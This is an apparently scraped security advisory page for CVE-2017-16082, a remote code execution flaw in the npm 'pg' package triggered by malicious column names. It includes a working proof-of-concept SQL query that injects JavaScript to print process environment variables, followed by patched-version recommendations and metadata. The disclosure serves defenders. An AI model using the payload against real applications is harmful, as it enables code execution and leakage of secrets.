Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXdjOXYtbWo2My1tOWc1
Remote Code Execution in pg
Affected versions of pg
contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.
There are two specific scenarios in which it is likely for an application to be vulnerable:
- The application executes unsafe, user-supplied sql which contains malicious column names.
- The application connects to an untrusted database and executes a query returning results which contain a malicious column name.
Proof of Concept
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
Recommendation
- Version 2.x.x: Update to version 2.11.2 or later.
- Version 3.x.x: Update to version 3.6.4 or later.
- Version 4.x.x: Update to version 4.5.7 or later.
- Version 5.x.x: Update to version 5.2.1 or later.
- Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
- Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXdjOXYtbWo2My1tOWc1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 6 years ago
Updated: about 1 year ago
CVSS Score: 9.8
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-wc9v-mj63-m9g5, CVE-2017-16082
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-16082
- https://github.com/advisories/GHSA-wc9v-mj63-m9g5
- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
- https://www.npmjs.com/advisories/521
Affected Packages
npm:pg
Dependent packages: 8,927Dependent repositories: 273,357
Downloads: 26,478,574 last month
Affected Version Ranges: >= 7.1.0, < 7.1.2, >= 7.0.0, < 7.0.2, >= 6.4.0, < 6.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